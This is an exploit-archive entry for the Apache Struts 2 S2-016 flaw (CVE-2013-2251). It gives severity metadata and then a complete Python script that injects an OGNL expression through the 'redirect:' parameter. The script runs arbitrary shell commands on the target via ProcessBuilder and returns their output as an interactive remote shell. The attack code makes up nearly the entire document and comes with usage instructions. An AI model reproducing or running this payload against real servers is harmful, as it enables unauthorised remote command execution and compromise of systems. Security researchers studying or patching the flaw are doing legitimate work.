Struts 2 DefaultActionMapper RCE Exploit S2-016 [Python]

2017.07.05
Credit: Jonatas Fil
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/python # # coding=utf-8 # # Struts 2 DefaultActionMapper Exploit [S2-016] # Interactive Shell for CVE-2013-2251 # # The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with # "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with # attaching navigational information to buttons within forms. # # https://struts.apache.org/docs/s2-016.html # # Greats: Julio Della Flora & Thiago Sena (THX) # Jonatas Fil (Dkr) import requests import sys import readline ''' author:jonatas fil a.k.a dkr ''' # ShellEvil if len(sys.argv) == 2: target = sys.argv[1] # Payload first = target + "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','" second = "'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}" loop = 1 while loop == 1: cmd = raw_input("$ ") while cmd.strip() == '': cmd = raw_input("$ ") if cmd.strip() == '\q': print("Exiting...") sys.exit() try: headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"} pwn=requests.get(first+cmd+second,headers = headers) if pwn.status_code == 200: print pwn.content # 1337 else: print("Not Vuln !") sys.exit() except Exception,e: print e print("Exiting...") sys.exit() else: # BANNER print(''' __ _ _ _ __ _ _ / _\ |__ ___| | | /__\_ _(_) | \ \| '_ \ / _ \ | |/_\ \ \ / / | | _\ \ | | | __/ | //__ \ V /| | | \__/_| |_|\___|_|_\__/ \_/ |_|_| by Jonatas Fil [Dkr] ''') print("======================================================") print("# Struts 2 DefaultActionMapper Exploit [S2-016] #") print("# USO: python pwn.py http://site.com:8080/xxx.action #") print("======================================================") print("bye 1337") sys.exit()


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